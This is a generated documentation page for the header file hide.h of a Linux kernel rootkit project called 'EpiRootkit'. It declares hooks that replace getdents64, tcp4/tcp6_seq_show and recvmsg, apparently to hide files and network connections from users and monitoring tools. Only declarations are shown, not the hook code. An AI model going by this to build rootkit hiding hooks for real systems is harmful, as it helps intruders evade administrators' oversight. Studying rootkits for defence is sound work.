EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
hide.h
Go to the documentation of this file.
1#ifndef HIDE_H
2#define HIDE_H
3
4#include <linux/file.h>
5#include <linux/fs.h>
6#include <linux/inet.h>
7#include <linux/inet_diag.h>
8#include <linux/kernel.h>
9#include <linux/list.h>
10#include <linux/net.h>
11#include <linux/netlink.h>
12#include <linux/ptrace.h>
13#include <linux/seq_file.h>
14#include <linux/slab.h>
15#include <linux/sock_diag.h>
16#include <linux/socket.h>
17#include <linux/spinlock.h>
18#include <linux/string.h>
19#include <linux/types.h>
20#include <linux/uaccess.h>
21#include <net/inet_sock.h>
22
24 u64 d_ino;
25 s64 d_off;
26 unsigned short d_reclen;
27 unsigned char d_type;
28 char d_name[];
29};
30
31extern asmlinkage int (*__orig_getdents64)(const struct pt_regs *regs);
32extern asmlinkage long (*__orig_tcp4_seq_show)(struct seq_file *seq, void *v);
33extern asmlinkage long (*__orig_tcp6_seq_show)(struct seq_file *seq, void *v);
34extern asmlinkage long (*__orig_recvmsg)(const struct pt_regs *regs);
35
36asmlinkage int notrace getdents64_hook(const struct pt_regs *regs);
37asmlinkage long notrace tcp4_seq_show_hook(struct seq_file *seq, void *v);
38asmlinkage long notrace tcp6_seq_show_hook(struct seq_file *seq, void *v);
39asmlinkage long notrace recvmsg_hook(const struct pt_regs *regs);
40
41#endif // HIDE_H
asmlinkage long notrace recvmsg_hook(const struct pt_regs *regs)
Definition hide.c:156
asmlinkage int notrace getdents64_hook(const struct pt_regs *regs)
Definition hide.c:11
asmlinkage long(* __orig_tcp6_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:8
asmlinkage long notrace tcp6_seq_show_hook(struct seq_file *seq, void *v)
Definition hide.c:144
asmlinkage long(* __orig_recvmsg)(const struct pt_regs *regs)
Definition hide.c:9
asmlinkage long notrace tcp4_seq_show_hook(struct seq_file *seq, void *v)
Definition hide.c:135
asmlinkage long(* __orig_tcp4_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:7
asmlinkage int(* __orig_getdents64)(const struct pt_regs *regs)
Definition hide.c:6
unsigned short d_reclen
Definition hide.h:26
char d_name[]
Definition hide.h:28
unsigned char d_type
Definition hide.h:27
u64 d_ino
Definition hide.h:24
s64 d_off
Definition hide.h:25